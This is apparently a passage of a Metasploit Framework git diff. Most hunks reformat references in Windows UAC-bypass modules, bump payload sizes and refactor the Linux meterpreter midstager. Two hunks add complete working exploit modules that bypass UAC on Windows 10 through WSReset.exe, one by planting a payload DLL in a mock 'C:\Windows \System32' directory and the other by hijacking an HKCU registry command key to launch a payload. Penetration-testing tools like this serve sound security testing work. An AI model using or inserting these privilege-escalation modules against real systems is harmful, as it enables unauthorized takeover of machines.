'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1' - ] - ], + ['URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'], + ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'] + ], 'DisclosureDate'=> 'Aug 15 2016' )) end diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb index 888364ce4c..832617e33c 100644 --- a/modules/exploits/windows/local/bypassuac_fodhelper.rb +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -52,12 +52,12 @@ class MetasploitModule < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/', - 'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1' - ] - ], + ['URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/'], + ['URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'], + ['URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/'] + ], 'DisclosureDate' => 'May 12 2017' ) ) diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 42dd874d1f..0ce0044776 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -44,12 +44,11 @@ class MetasploitModule < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/', - 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' - ] - ], + ['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'], + ['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'] + ], 'DisclosureDate'=> 'Dec 31 2010' )) diff --git a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb index 5986c50804..a602659368 100644 --- a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb +++ b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb @@ -39,9 +39,7 @@ class MetasploitModule < Msf::Exploit::Local ], 'DefaultTarget' => 0, 'References' => [ - [ - 'URL', 'https://github.com/L3cr0f/DccwBypassUAC' - ] + ['URL', 'https://github.com/L3cr0f/DccwBypassUAC'] ], 'DisclosureDate'=> 'Apr 06 2017' )) diff --git a/modules/exploits/windows/local/bypassuac_sluihijack.rb b/modules/exploits/windows/local/bypassuac_sluihijack.rb index 14e7dfe7f7..2cb3b41976 100644 --- a/modules/exploits/windows/local/bypassuac_sluihijack.rb +++ b/modules/exploits/windows/local/bypassuac_sluihijack.rb @@ -54,12 +54,11 @@ class MetasploitModule < Msf::Exploit::Local ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation', - 'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1' - ] - ], + ['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'], + ['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'] + ], 'DisclosureDate' => 'Jan 15 2018' ) ) diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index 0c5f36b6b0..36cc571e46 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -30,12 +30,11 @@ class MetasploitModule < Msf::Exploit::Local [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html', - 'URL', 'https://github.com/Vozzie/uacscript' - ] - ], + ['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'], + ['URL', 'https://github.com/Vozzie/uacscript'] + ], 'DisclosureDate'=> 'Aug 22 2015' )) diff --git a/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb b/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb new file mode 100644 index 0000000000..99e609b981 --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ManualRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Post::Windows::Priv + include Post::Windows::Runas + + def initialize(info = {}) + super( + update_info( info, + 'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)', + 'Description' => %q{ + This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool + is run with the "autoElevate" property set to true, however it can be moved to + a new Windows directory containing a space (C:\Windows \System32\) where, upon + execution, it will load our payload dll (propsys.dll). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'ACTIVELabs', # discovery + 'sailay1996', # poc + 'timwr', # metasploit module + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [[ 'Automatic', {} ]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'EXITFUNC' => 'process', + 'WfsDelay' => 15 + }, + 'DisclosureDate' => 'Aug 22 2019', + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + }, + 'References' => [ + ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], + ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'], + ['URL', 'https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e'], + ], + ) + ) + end + + def check + if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") + return CheckCode::Appears + end + CheckCode::Safe + end + + def exploit + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + end + + # Make sure we have a sane payload configuration + if sysinfo['Architecture'] != payload.arch.first + fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target') + end + + check_permissions! + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + exploit_win_dir = "C:\\Windows \\" + exploit_dir = "C:\\Windows \\System32\\" + exploit_file = exploit_dir + "WSReset.exe" + unless exists? exploit_win_dir + print_status("Creating directory '#{exploit_win_dir}'...") + session.fs.dir.mkdir(exploit_win_dir) + end + unless exists? exploit_dir + print_status("Creating directory '#{exploit_dir}'...") + session.fs.dir.mkdir(exploit_dir) + end + unless exists? exploit_file + session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file) + end + + payload_dll = "C:\\Windows \\System32\\propsys.dll" + print_status("Creating payload '#{payload_dll}'...") + payload = generate_payload_dll + write_file(payload_dll, payload) + print_status("Executing WSReset.exe...") + begin + session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, {'Hidden' => true}) + rescue ::Exception => e + print_error(e.to_s) + end + print_warning("This exploit requires manual cleanup of the '#{exploit_win_dir}' and '#{exploit_dir}' directories!") + end + + def check_permissions! + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + end + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + # Check if you are an admin + # is_in_admin_group can be nil, true, or false + print_status('UAC is Enabled, checking level...') + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end +end diff --git a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb new file mode 100644 index 0000000000..70b6115974 --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ManualRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Post::Windows::Priv + include Post::Windows::Runas + + def initialize(info = {}) + super( + update_info(info, + 'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry', + 'Description' => %q( + This module exploits a flaw in the WSReset.exe file associated with the Windows + Store. This binary has autoelevate privs, and it will run a binary file + contained in a low-privilege registry location. By placing a link to + the binary in the registry location, WSReset.exe will launch the binary as + a privileged user. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'ACTIVELabs', # discovery + 'sailay1996', # poc + 'bwatters-r7', # metasploit module + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [[ 'Automatic', {} ]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'WfsDelay' => 15 + }, + 'DisclosureDate' => 'Feb 19 2019', + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] + }, + 'References' => [ + ['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'], + ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], + ['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'], + ] + ) + ) + register_options( + [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] + ) + + end + + def check + if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") + return CheckCode::Appears + end + + CheckCode::Safe + end + + def exploit + check_permissions! + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + # get directory locations straight + win_dir = session.sys.config.getenv('windir') + vprint_status("win_dir = " + win_dir) + tmp_dir = session.sys.config.getenv('tmp') + vprint_status("tmp_dir = " + tmp_dir) + exploit_dir = win_dir + "\\System32\\" + vprint_status("exploit_dir = " + exploit_dir) + reset_filepath = exploit_dir + "WSReset.exe" + vprint_status("exploit_file = " + reset_filepath) + + # make payload + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' + payload_pathname = tmp_dir + '\\' + payload_name + vprint_status("payload_pathname = " + payload_pathname) + vprint_status("Making Payload") + payload = generate_payload_exe + reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" + vprint_status("reg_command = " + reg_command) + registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" + + + # make registry changes + vprint_status("Making Registry Changes") + begin + registry_createkey(registry_key) + registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ") + registry_setvaldata(registry_key, '', reg_command, "REG_SZ") + rescue ::Exception => e + print_error(e.to_s) + end + vprint_status("Registry Changes Complete") + # Upload payload + vprint_status("Uploading Payload to #{payload_pathname}") + write_file(payload_pathname, payload) + vprint_status("Payload Upload Complete") + + vprint_status("Launching " + reset_filepath) + begin + session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true) + rescue ::Exception => e + print_error(e.to_s) + end + print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") + # wait for a few seconds before cleaning up + sleep(20) + vprint_status("Removing Registry Changes") + registry_deletekey(registry_key) + vprint_status("Registry Changes Removed") + end + + def check_permissions! + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + end + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + # Check if you are an admin + # is_in_admin_group can be nil, true, or false + print_status('UAC is Enabled, checking level...') + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end +end diff --git a/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb b/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb index 0db0757fc7..c6fef6de92 100644 --- a/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb @@ -4,7 +4,7 @@ ## require 'msf/core/payload/pingback' -require 'msf/core/handler/reverse_tcp' +require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/pingback' diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 0b57d9badf..ab559f45a3 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options' module MetasploitModule - CachedSize = 30658 + CachedSize = 30691 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index ac1ee72181..55b54a7bed 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 79e23e6a0c..8c920e4979 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 2bcca8d51c..6551c84907 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 180825 + CachedSize = 181337 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 2f470a05b9..f39559266f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 180825 + CachedSize = 181337 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index dce4c880d4..08f05d9378 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index bacdd2591d..2d4b9d6f52 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config' module MetasploitModule - CachedSize = 179779 + CachedSize = 180291 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 241dc65fe8..a2d14606c5 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/x64/reverse_tcp' module MetasploitModule - CachedSize = 129 + CachedSize = 130 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp_x64 diff --git a/modules/payloads/stages/linux/x64/meterpreter.rb b/modules/payloads/stages/linux/x64/meterpreter.rb index 00c2650427..a6c15246be 100644 --- a/modules/payloads/stages/linux/x64/meterpreter.rb +++ b/modules/payloads/stages/linux/x64/meterpreter.rb @@ -34,10 +34,10 @@ module MetasploitModule elf.elf_header.e_entry end - def handle_intermediate_stage(conn, payload) + def asm_intermediate_stage(payload) entry_offset = elf_ep(payload) - midstager_asm = %( + %( push rdi ; save sockfd xor rdi, rdi ; address mov rsi, #{payload.length} ; length @@ -82,8 +82,14 @@ module MetasploitModule add rsi, rax jmp rsi ) + end - midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string + def generate_intermediate_stage(payload) + Metasm::Shellcode.assemble(Metasm::X64.new, asm_intermediate_stage(payload)).encode_string + end + + def handle_intermediate_stage(conn, payload) + midstager = generate_intermediate_stage(payload) vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") conn.put(midstager) == midstager.length end diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 042d6c8525..f23cd075bf 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -34,10 +34,10 @@ module MetasploitModule elf.elf_header.e_entry end - def handle_intermediate_stage(conn, payload) + def asm_intermediate_stage(payload) entry_offset = elf_ep(payload) - midstager_asm = %( + %( push edi ; save sockfd xor ebx, ebx ; address mov ecx, #{payload.length} ; length @@ -85,8 +85,14 @@ module MetasploitModule add edx, eax jmp edx ) + end - midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string + def generate_intermediate_stage(payload) + Metasm::Shellcode.assemble(Metasm::X86.new, asm_intermediate_stage(payload)).encode_string + end + + def handle_intermediate_stage(conn, payload) + midstager = generate_intermediate_stage(payload) vprint_status("Transmitting intermediate stager...(#{midstager.length} bytes)") conn.put(midstager) == midstager.length end diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 8b731de5ee..8a08a1bac1 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -20,7 +20,8 @@ class MetasploitModule < Msf::Post register_options([ OptString.new('HOSTNAMES', [false, 'Comma seperated list of hostnames to resolve.']), OptPath.new('HOSTFILE', [false, 'Line separated file with hostnames to resolve.']), - OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]) + OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]), + OptBool.new('DATABASE', [false, 'Report found hosts to DB', true]) ]) end @@ -71,9 +72,17 @@ class MetasploitModule < Msf::Post response.each do |result| if result[:ip].nil? table << [result[:hostname], '[Failed To Resolve]'] - else - table << [result[:hostname], result[:ip]] + next end + + if datastore['DATABASE'] + report_host( + host: result[:ip], + name: result[:hostname] + ) + end + + table << [result[:hostname], result[:ip]] end table.print diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index c05c95018b..640c590cd5 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -41,7 +41,7 @@ RSpec.describe Msf::Module do } it { is_expected.to respond_to :cached? } - it { is_expected.to respond_to :is_usable } + it { is_expected.to respond_to :usable? } end describe "cloning modules into replicants" do diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 54f56ec1d2..a6eb7812f6 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -4,6 +4,8 @@ require 'factory_bot' ENV['RAILS_ENV'] = 'test' +require File.expand_path('../../config/rails_bigdecimal_fix', __FILE__) + # @note must be before loading config/environment because railtie needs to be loaded before # `Metasploit::Framework::Application.initialize!` is called. #